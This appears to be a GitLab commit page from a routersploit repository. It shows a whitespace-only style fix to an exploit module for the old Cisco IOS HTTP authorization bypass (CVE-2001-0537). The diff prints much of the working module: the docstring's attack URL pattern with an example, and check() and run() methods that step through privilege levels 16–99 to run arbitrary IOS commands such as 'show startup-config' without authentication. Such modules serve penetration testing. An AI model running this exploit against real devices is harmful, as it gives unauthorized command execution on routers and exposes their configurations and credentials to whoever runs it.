Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
1417d5e5
Commit
1417d5e5
authored
Apr 15, 2017
by
Renos Stoikos
Committed by
GitHub
Apr 15, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fixed more style issues
corrected W291, E261, W293, W391 issues
parent
1cfdae6f
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
9 additions
and
10 deletions
+9
-10
cisco_ios_http_authorization_bypass.py
...les/exploits/cisco/cisco_ios_http_authorization_bypass.py
+9
-10
No files found.
routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py
View file @
1417d5e5
...
...
@@ -13,16 +13,16 @@ class Exploit(exploits.Exploit):
"""
This exploit targets a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for the url "http://ip_address/level/{num}/exec/..",
it is possible to bypass authentication and execute any command.
Example: http://10.0.0.1/level/99/exec/show/startup/config
it is possible to bypass authentication and execute any command.
Example: http://10.0.0.1/level/99/exec/show/startup/config
"""
__info__
=
{
'name'
:
'Cisco IOS HTTP Unauthorized Administrative Access'
,
'description'
:
'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.'
,
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.'
,
'authors'
:
[
'Author'
,
'Renos Stoikos rstoikos[at]gmail.com'
# routesploit module
'Author'
,
'Renos Stoikos rstoikos[at]gmail.com'
# routesploit module
],
'references'
:
[
'http://www.cvedetails.com/cve/cve-2001-0537'
,
...
...
@@ -32,10 +32,10 @@ class Exploit(exploits.Exploit):
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
show_command
=
exploits
.
Option
(
'show startup-config'
,
'Command to be executed e.g show startup-config'
)
def
check
(
self
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
...
...
@@ -45,7 +45,7 @@ class Exploit(exploits.Exploit):
elif
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
def
run
(
self
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
...
...
@@ -57,5 +57,4 @@ class Exploit(exploits.Exploit):
print_info
(
response
.
text
)
break
else
:
print_error
(
"Exploit failed - could not execute command for level"
,
num
)
print_error
(
"Exploit failed - could not execute command for level"
,
num
)
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment